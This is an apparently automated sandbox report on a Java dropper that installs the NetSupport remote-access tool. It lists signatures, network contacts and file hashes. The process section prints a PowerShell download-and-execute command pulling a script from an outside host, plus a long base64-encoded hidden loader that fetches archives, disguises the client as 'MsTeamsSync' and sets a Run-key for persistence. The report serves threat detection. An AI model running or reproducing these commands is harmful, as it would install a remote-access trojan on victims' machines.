Malware Analysis Report

2024-10-19 01:38

Sample ID 241008-zm7trayhjb
Target Application.jar
SHA256 47131d54c85921d4c80a9c5127b1051fa6fc5edf47b705d42ec3c4a19190734c
Tags
netsupport discovery execution persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

47131d54c85921d4c80a9c5127b1051fa6fc5edf47b705d42ec3c4a19190734c

Threat Level: Known bad

The file Application.jar was found to be: Known bad.

Malicious Activity Summary

netsupport discovery execution persistence rat

NetSupport

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Loads dropped DLL

Adds Run key to start application

Drops file in Windows directory

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-08 20:51

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-08 20:51

Reported

2024-10-08 20:53

Platform

win7-20240729-en

Max time kernel

118s

Max time network

122s

Command Line

java -jar C:\Users\Admin\AppData\Local\Temp\Application.jar

Signatures

N/A

Processes

C:\Windows\system32\java.exe

java -jar C:\Users\Admin\AppData\Local\Temp\Application.jar

Network

N/A

Files

memory/2412-2-0x00000000026E0000-0x0000000002950000-memory.dmp

memory/2412-11-0x0000000000350000-0x0000000000351000-memory.dmp

memory/2412-12-0x00000000026E0000-0x0000000002950000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-08 20:51

Reported

2024-10-08 20:53

Platform

win10v2004-20241007-en

Max time kernel

93s

Max time network

132s

Command Line

java -jar C:\Users\Admin\AppData\Local\Temp\Application.jar

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MsTeamsSync = "C:\\Users\\Admin\\AppData\\Roaming\\MsTeamsSync\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\saint_1869.ps1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe N/A

Processes

C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe

java -jar C:\Users\Admin\AppData\Local\Temp\Application.jar

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -nologo -noninteractive -command Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser -Force; Invoke-WebRequest -Uri https://www.xcodll.com/application/saint_1869.ps1 -OutFile C:\Windows\Tasks\saint_1869.ps1; IEX('C:\Windows\Tasks\saint_1869.ps1')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noninteractive -command Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser -Force; Invoke-WebRequest -Uri https://www.xcodll.com/application/saint_1869.ps1 -OutFile C:\Windows\Tasks\saint_1869.ps1; IEX('C:\Windows\Tasks\saint_1869.ps1')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nOPR -eXEcutiOnpo BYPASS -WI HId -Enc JABhAGYAUQBaAEoAUgAzAGYAPQAnAEkAYwBVADAAbABzAC4AegBpAHAAJwA7ACAAJABXAEkAbgBHAGMAcwA9ACcATAB0AFQANgBiAGwAUQAuAHoAaQBwACcAOwAgACQATgAxAHgAOABCADMAZgA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADMAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQAWgBrAG0AbQBKADYAagBWAD0AJwBNAHMAVABlAGEAbQBzAFMAeQBuAGMAJwA7ACAAJABQAFYAYQBUAFYAZwA3ADcAPQAnAHcAVQBaAG4AbgAuAHoAaQBwACcAOwAgACQAaQA5ADUAagA4AGMAUAA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvAGMAbwByAG4AMQAuAHoAaQBwACcAOwAgACQANAB2AGgAVwBCAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBhAHIAawBzAC8AYwBvAHIAbgAyAC4AegBpAHAAJwA7ACAAWwBuAGUAVAAuAFMARQByAFYASQBjAGUAUABPAEkAbgB0AE0AYQBOAGEAZwBlAFIAXQA6ADoAUwBFAEMAdQBSAGkAdAB5AHAAUgBPAFQAbwBjAE8ATAAgAD0AIABbAG4AZQBUAC4AUwBlAGMAVQBSAEkAdAB5AFAAcgBvAHQATwBjAG8ATAB0AFkAUABlAF0AOgA6AHQAbABzADEAMgA7ACAAJABRAHIAdABEAHMAVQA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADQAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQANABGAFgANQBBAHIAYQA9ACcAUwBYAEEAagA0ADAAMABKAC4AegBpAHAAJwA7ACAAJABtAEsAZgB3AE0AWAByAG4APQBnAGMATQAgAEUAeABQAGEATgBEAC0AYQByAGMAaABJAFYAZQAgAC0ARQByAFIAbwBSAEEAQwB0AGkAbwBuACAAUwBJAEwARQBOAHQAbAB5AGMAbwBOAHQASQBuAFUAZQA7ACAAQwBIAEQAaQByACAAJABFAG4AVgA6AEEAUABQAGQAYQB0AGEAOwAgACQAQgBmAHUAVABNAD0AZwBjAE0AIABTAHQAYQBSAFQALQBCAGkAVABzAHQAcgBhAE4AUwBmAGUAUgAgAC0ARQBSAHIAbwByAGEAQwBUAEkAbwBuACAAUwBpAGwARQBOAFQAbABZAGMAbwBuAFQASQBOAHUARQA7ACAAJABJAEoAaQBFAEoAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAHYAOgBBAFAAUABkAGEAVABBACwAIAAkAFAAVgBhAFQAVgBnADcANwA7ACAAJABvAHYAVwBIAEIAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAGEAZgBRAFoASgBSADMAZgA7ACAAJABEAFcAQQByAEkARQBtADQAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAFcASQBuAEcAYwBzADsAIAAkAFMAaABuAEgAMAA2AEwAMAA9AGoAbwBJAG4ALQBwAGEAdABoACAALQBQAGEAdABIACAAJABFAG4AdgA6AEEAUABQAGQAQQBUAEEAIAAtAEMAaABpAGwAZABwAEEAdABoACAAJAA0AEYAWAA1AEEAcgBhADsAIAAkAGsAcgBwADEAYgBZAGwANAA9AEoAbwBJAE4ALQBQAGEAdABIACAALQBwAEEAdABoACAAJABFAE4AdgA6AEEAcABwAGQAYQBUAGEAIAAtAEMAaABpAGwAZABQAEEAdABIACAAJABaAGsAbQBtAEoANgBqAFYAOwAgACQAcQBmAFgAMQBFAEQAPQAiAGIASQB0AHMAYQBEAE0AaQBuAC4ARQBYAGUAIAAvAFQAUgBhAG4AcwBGAGUAcgAgAE8ANABHAE8AbABmAHoAUQAgAC8ARABPAFcAbgBMAG8AYQBEACAALwBwAHIASQBvAFIAaQB0AFkAIABOAE8AUgBNAEEATAAgAHsAMAB9ACAAewAxAH0AIgAgAC0AZgAgACQANAB2AGgAVwBCACwAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAAJABGAFUARQAwAHMAbwBHADkAPQAiAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAIAB7ADAAfQAgAHsAMQB9ACIAIAAtAGYAIAAkAGkAOQA1AGoAOABjAFAALAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAAkADkAYwBDAG0AcgA9ACIAQgBpAFQAUwBhAEQATQBJAE4ALgBFAHgAZQAgAC8AVABSAGEAbgBTAEYARQBSACAARgB3AFoANwAwAFIAYQBIACAALwBkAG8AVwBuAGwATwBhAEQAIAAvAHAAcgBJAG8AUgBpAHQAWQAgAE4ATwByAE0AQQBsACAAewAwAH0AIAB7ADEAfQAiACAALQBmACAAJABOADEAeAA4AEIAMwBmACwAIAAkAEkASgBpAEUASgA7ACAAJABRAGMAVQBiAGEAPQAnAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAJwAsACAAJABRAHIAdABEAHMAVQAsACAAJABvAHYAVwBIAEIAIAAtAEoAbwBpAE4AIAAnACAAJwA7ACAASQBGACAAKAAkAG0ASwBmAHcATQBYAHIAbgApACAAewAgAEkAZgAgACgAJABCAGYAdQBUAE0AKQAgAHsAIABzAHQAYQByAFQALQBiAGkAVABTAHQAcgBhAE4AcwBGAEUAUgAgAC0AUwBPAFUAcgBjAEUAIAAkAE4AMQB4ADgAQgAzAGYAIAAtAGQARQBTAFQASQBOAEEAdABpAE8AbgAgACQASQBKAGkARQBKADsAIABTAHQAQQBSAFQALQBCAGkAVABzAHQAUgBhAG4AcwBGAEUAcgAgAC0AUwBPAFUAcgBjAEUAIAAkAFEAcgB0AEQAcwBVACAALQBkAEUAcwB0AGkATgBBAHQASQBvAG4AIAAkAG8AdgBXAEgAQgA7ACAAcwB0AEEAUgB0AC0AQgBJAFQAcwB0AFIAQQBOAHMARgBFAHIAIAAtAFMATwBVAFIAQwBFACAAJABpADkANQBqADgAYwBQACAALQBkAEUAcwBUAEkAbgBhAHQAaQBvAE4AIAAkAEQAVwBBAHIASQBFAG0ANAA7ACAAUwB0AGEAcgBUAC0AQgBpAHQAUwBUAFIAQQBuAHMARgBFAFIAIAAtAFMATwB1AHIAQwBFACAAJAA0AHYAaABXAEIAIAAtAGQARQBTAFQAaQBuAEEAVABpAG8ATgAgACQAUwBoAG4ASAAwADYATAAwADsAIAB9ACAARQBsAFMARQAgAHsASQBuAHYATwBrAEUALQBlAFgAcAByAEUAUwBzAGkAbwBOACAALQBDAE8AbQBNAGEATgBkACAAJABxAGYAWAAxAEUARAA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAEYAVQBFADAAcwBvAEcAOQA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAFEAYwBVAGIAYQA7ACAAJgAgACQAOQBjAEMAbQByADsAIAB9ACAARQBYAHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBQAEEAdABIACAAJABvAHYAVwBIAEIAIAAtAEQARQBTAHQAaQBOAEEAdABJAE8ATgBwAGEAdABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAEUAeABQAEEATgBkAC0AQQBSAEMAaABpAHYARQAgAC0AcABhAFQASAAgACQARABXAEEAcgBJAEUAbQA0ACAALQBkAEUAUwBUAEkATgBhAHQASQBvAG4AUABBAHQASAAgACQAawByAHAAMQBiAFkAbAA0ADsAIABFAHgAUABhAE4AZAAtAGEAcgBDAEgASQB2AGUAIAAtAFAAQQBUAGgAIAAkAFMAaABuAEgAMAA2AEwAMAAgAC0ARABFAHMAdABJAG4AQQB0AEkAbwBuAFAAQQBUAEgAIAAkAGsAcgBwADEAYgBZAGwANAA7ACAAZQBYAHAAQQBOAGQALQBBAFIAQwBIAGkAdgBFACAALQBwAGEAVABIACAAJABJAEoAaQBFAEoAIAAtAEQAZQBTAHQAaQBOAGEAVABpAG8AbgBwAEEAVABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAFIASQAgAC0AUABBAHQASAAgACQAbwB2AFcASABCADsAIAByAE0AIAAtAHAAYQBUAEgAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAARQByAGEAUwBlACAALQBQAEEAVABoACAAJABJAEoAaQBFAEoAOwAgAHIATQAgAC0AcABhAHQAaAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAB9ACAAZQBsAHMAZQAgAHsAIAAkADMATQBUAG4AdwBTAGoAPQBAACgAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBjAGwAaQBlAG4AdAAzADIALgBpAG4AaQAnACwAIAAnAG4AcwBrAGIAZgBsAHQAcgAuAGkAbgBmACcALAAgACcAQQB1AGQAaQBvAEMAYQBwAHQAdQByAGUALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMASABFAEsALgBEAEwATAAnACwAIAAnAHAAYwBpAGMAYQBwAGkALgBkAGwAbAAnACwAIAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMATAAzADIALgBEAEwATAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAE4AUwBNAC4ATABJAEMAJwAsACAAJwByAGUAbQBjAG0AZABzAHQAdQBiAC4AZQB4AGUAJwApADsAIABuAGkAIAAtAHAAQQBUAGgAIAAkAGUATgBWADoAQQBQAHAARABhAFQAQQAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQBJAHQARQBtAHQAeQBwAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgACQAawAxAHUASgBvAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBmAGkAZABlAC8AJwA7ACAASQBmACAAKAAkAEIAZgB1AFQATQApACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABGAG8AUgBlAGEAQwBoACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgAHMAdABhAHIAdAAtAEIASQBUAFMAVAByAEEATgBzAEYAZQByACAALQBzAE8AVQByAGMARQAgACQAdABFAEcASwBBACAALQBkAEUAcwBUAEkATgBhAHQASQBPAG4AIAAkAGgAbwBLAEgARgA7ACAAfQA7AH0AIABlAGwAcwBlACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABmAG8AUgBFAGEAQwBIACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgACQATQA4AFcAUABMAD0AIgBiAGkAdABTAGEARABtAGkATgAuAEUAeABlACAALwBUAFIAQQBuAFMARgBFAFIAIABvAEcAVgB3ADgAdABtAEwAIAAvAEQATwB3AE4ATABPAEEAZAAgAC8AUAByAEkATwBSAGkAdAB5ACAAbgBvAHIATQBhAGwAIAAkAHQARQBHAEsAQQAgACQAaABvAEsASABGACIAOwAgAGkARQBYACAALQBjAE8AbQBtAEEATgBEACAAJABNADgAVwBQAEwAOwB9ADsAIAB9ADsAIAB9ADsAIAAkAFYAOABUAHgAcAA9AEcARQBUAC0AaQBUAGUAbQAgACQAawByAHAAMQBiAFkAbAA0ACAALQBGAE8AUgBDAGUAOwAgACQAVgA4AFQAeABwAC4AYQB0AFQAUgBJAEIAdQBUAEUAUwA9ACcASABpAGQAZABlAG4AJwA7ACAAQwBIAEQAaQByACAAJABrAHIAcAAxAGIAWQBsADQAOwAgACQARgBoAEYAbwBRAD0AJABrAHIAcAAxAGIAWQBsADQAKwAnAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwA7ACAAbgBlAFcALQBJAFQAZQBtAHAAUgBPAFAARQByAHQAWQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQB2AGEATAB1AGUAIAAkAEYAaABGAG8AUQAgAC0AUABSAG8AcABFAFIAdABZAFQAeQBwAEUAIAAnAFMAdAByAGkAbgBnACcAOwAgAHMAVABBAHIAdAAtAHAAcgBvAEMAZQBTAFMAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7AA==

C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe

"C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.xcodll.com udp
US 199.192.19.104:443 www.xcodll.com tcp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 104.19.192.199.in-addr.arpa udp
US 8.8.8.8:53 togofund.com udp
NL 23.254.231.141:443 togofund.com tcp
US 8.8.8.8:53 141.231.254.23.in-addr.arpa udp
US 8.8.8.8:53 yntvet.com udp
NL 91.202.5.18:443 yntvet.com tcp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 172.67.68.212:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 18.5.202.91.in-addr.arpa udp
US 8.8.8.8:53 212.68.67.172.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 137.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 78.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/8-2-0x000001CB37E70000-0x000001CB380E0000-memory.dmp

memory/8-12-0x000001CB36660000-0x000001CB36661000-memory.dmp

memory/8-13-0x000001CB37E70000-0x000001CB380E0000-memory.dmp

memory/60-14-0x00007FFD4E7C3000-0x00007FFD4E7C5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_srr4u521.5rl.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/60-20-0x0000015FED360000-0x0000015FED382000-memory.dmp

memory/60-25-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp

memory/60-26-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp

C:\Windows\Tasks\saint_1869.ps1

MD5 0e49333de50a8a3db16f714990052c83
SHA1 2866de43c124f3942434c41f73d4de3015463180
SHA256 fe3abbdd4e00d96d32a444fa1201213100e1e26713db0fe8e6fd8dc1f1f7516f
SHA512 e7c744848ca0d48e7e0f1b76db9f781907584c586d5b1f0bd9349f592b29b52330b41c38391f747e0ddb79ecf5f3396d2d8ab7e3ec7df24d69fe06cdab08ec1f

memory/3764-44-0x0000026BCD3B0000-0x0000026BCD3D6000-memory.dmp

memory/3764-45-0x0000026BCD460000-0x0000026BCD474000-memory.dmp

memory/3764-46-0x0000026BCD4A0000-0x0000026BCD4B2000-memory.dmp

memory/3764-47-0x0000026BCD490000-0x0000026BCD49A000-memory.dmp

C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe

MD5 f65f9a00a701a06ea714674a554ab400
SHA1 7769b3bfd3caf4038cf740dc40a40f15174893b5
SHA256 e7a78714ffe2e00aa7739fd0184ebb7b6ee239a7345079ab9074ba244f4e7f09
SHA512 76a278edd341c1d2befb1a12c42acb93f07d3d355d270b9a1041089f6f591ad8a6c7e2d2538c2594ad615475d2bff9a006273039eea84fdb1030cf2030767174

C:\Users\Admin\AppData\Roaming\MsTeamsSync\PCICL32.dll

MD5 af76608b5cd0f689c0f0eb5ca049e71d
SHA1 af6559d12037f736ebd3326200c660fa88ffbc6d
SHA256 7344430e98aeedfc5b58e23a85e32fea8258f6f2b32d7819e6dea5803d7ad20b
SHA512 2fb8db47e5acc11b885e00eb91d421b70540d4d300a4a97a8ac6a7c94b981be219f1128f41fb3401ae6e4b5610acb81a861f47defd69cd689ba7f08634a45223

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6c36bb464ae2e6ef913b83d7048e8e94
SHA1 4e073a932c58b067164f93b48ed10d62969f4776
SHA256 4230cb0a9d772f5ee4949502aeb7224fd304140246567dae5c1a37e451396848
SHA512 b50d381d923c78e586c3304f392f64b31a820802a09342edc4dcb7c12bc59207d044355ea3149242727b7e9806a2f3016bb8dbf6566beb16bc0c30d6a5d0629e

C:\Users\Admin\AppData\Roaming\MsTeamsSync\pcicapi.dll

MD5 dcde2248d19c778a41aa165866dd52d0
SHA1 7ec84be84fe23f0b0093b647538737e1f19ebb03
SHA256 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917
SHA512 c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

C:\Users\Admin\AppData\Roaming\MsTeamsSync\MSVCR100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\Users\Admin\AppData\Roaming\MsTeamsSync\pcichek.dll

MD5 a0b9388c5f18e27266a31f8c5765b263
SHA1 906f7e94f841d464d4da144f7c858fa2160e36db
SHA256 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a
SHA512 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b0fc481e1059b4b1301d4112c0fee415
SHA1 06873d7f15b3673434f160d41b064646486eb05c
SHA256 f02a5fa530462fd721fd7f7b530f4bf4ed99155938d5fe601be4f6146a19bf05
SHA512 48b50f15d2ae2f90e89b95cd7d411bf73b91d750731e30b10df4fd571ecfa7c23d38ea16457527f3d7b2678cdfb4587618e08bb5ce3a0ea511893be235f65556

C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.ini

MD5 d1844f69e52b7499f8da7bd9efd38317
SHA1 daf85286f6d54d1ffc50c04c8f9983567138c365
SHA256 02f9b3a1de0872a80e3198a04b2adad1b3543c5731058fed5c7dfe1bd87dc87b
SHA512 aeb5aec7ff7913f50a3d29cfd7555a5d7065034a18d61354f63d9c98dccc2e60e58c2bd7712adb900fec438e9059a911a898f3db1039be80abfaccb0390f3dab

C:\Users\Admin\AppData\Roaming\MsTeamsSync\NSM.LIC

MD5 3589f7a4f84733c7b7bd2b09a66a254d
SHA1 37f81ddcf80c91e981c44e0eafcdb6d77a1f7678
SHA256 c6ef8a3d84ebe0230e87daf7b5f06ad1b80de62dfd5fb6dca60d2040bbb6ee63
SHA512 324a2c60a99cb59e6576b98757ddc81a0e702db0e72b479e559877d1c3a5ec2915012df2612ab33da254ac9067246532f66a582d0d6fa362369782979230721c

C:\Users\Admin\AppData\Roaming\MsTeamsSync\HTCTL32.DLL

MD5 2d3b207c8a48148296156e5725426c7f
SHA1 ad464eb7cf5c19c8a443ab5b590440b32dbc618f
SHA256 edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796
SHA512 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

memory/60-141-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp

memory/60-140-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp